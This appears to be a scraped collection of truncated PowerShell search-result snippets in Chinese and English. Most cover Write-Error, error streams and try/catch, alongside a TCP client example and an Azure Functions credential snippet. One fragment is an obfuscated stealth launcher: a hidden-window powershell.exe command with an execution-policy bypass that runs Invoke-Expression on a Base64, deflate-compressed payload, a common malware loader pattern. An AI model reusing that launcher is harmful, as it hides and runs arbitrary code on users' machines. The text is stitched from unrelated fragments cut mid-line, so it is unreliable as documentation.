-RecommendedAction:指定推荐的操作或修复步骤。 使用Write-Error命令可以帮助开发人员在脚本执行过程中捕获和处理错误。当脚本发生错误时,可以使用Try-Catch语句捕获错误,并使用Write-Error命令将错误信息写入错误流。然后可以根据错误流中的错误信息进行相应的处理,例如输出错误日志、发送邮件通知等。 以下是Write-Error命...
Write-Error Reference Feedback Module: Microsoft.PowerShell.Utility Writes an object to the error stream. Syntax PowerShellCopy Write-Error[-Message] <string> [-Category <ErrorCategory>] [-ErrorId <string>] [-TargetObject <Object>] [-RecommendedAction <string>] [-CategoryActivity <string>] ...
1成功StreamPowerShell 2.0Write-Output 2错误StreamPowerShell 2.0Write-Error 3警告StreamPowerShell 3.0Write-Warning 4详细StreamPowerShell 3.0Write-Verbose 5调试StreamPowerShell 3.0Write-Debug 6信息StreamPowerShell 5.0Write-Information,Write-Host *所有流PowerShell 3.0 ...
$port)$stream=$tcpClient.GetStream()# 获取流$buffer=[System.Text.Encoding]::ASCII.GetBytes("Hello, server!")# 将要发送的数据转变为Byte$stream.Write($buffer,0,$buffer.Length)#将byte流写进stream$buffer=New-Objectbyte[]1024# 创建buffer$bytesRead=$stream...
异常通常是终止错误。 引发的异常要么被捕获要么会终止当前执行程序。 默认情况下,Write-Error 会生成一个非终止错误,并将错误添加到输出流,而不引发异常。我指出这一点,是因为 Write-Error 和其他非终止错误不会触发 catch。忽略异常在这种情况下,捕获错误只是为了抑制它。 这样做时要谨慎,因为它会使故障排除变得...
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command “Invoke-Expression(New−ObjectIO.StreamReader((New−ObjectIO.StreamReader((New-Object IO.Compression. DeflateStream ((New−ObjectIO.MemoryStream(,(New−ObjectIO.MemoryStream(,([Convert]::FromBase64String(\”[REMOVED]\” ))),[...
With$ErrorActionPreference = 'stop'in effect, anything getting written to PowerShell's error stream instantly triggers a function/script-terminating error. Again, note that without a redirection, stderr lines neither show up in$Errornor do they cause the script to be terminated based on$ErrorAc...
將api-ms-win-core-file-l1-2-2.dll 取代為 FindFirstStreamW 和 FindNextStreamW API Kernell32.dll (#10680) (感謝 @iSazonov!) 調整協助將指令碼格式化,以使其更能容忍 StrictMode (#10563) 將-SecurityDescriptorSDDL 參數新增至 New-Service (#10483) (感謝 @kvprasoon!) ...
If you don’t tell PowerShell where to put data (such as just typing get-process) it defaults to the output stream. What this means for you, as users, is that you can get a non-terminating error, and still do work on the successful output. Take a look at this: ...
# Write to the Azure Functions log stream. Write-Host "PowerShell HTTP trigger function processed a request." $User = "XXXXXXXXXXXXXxxxxxxxx" $PWord = ConvertTo-SecureString -String "XXXXXXXXXXXXXxxxxxxxx" -AsPlainText -Force $Credential = New-Object System.Management.Automation.PSCredential($...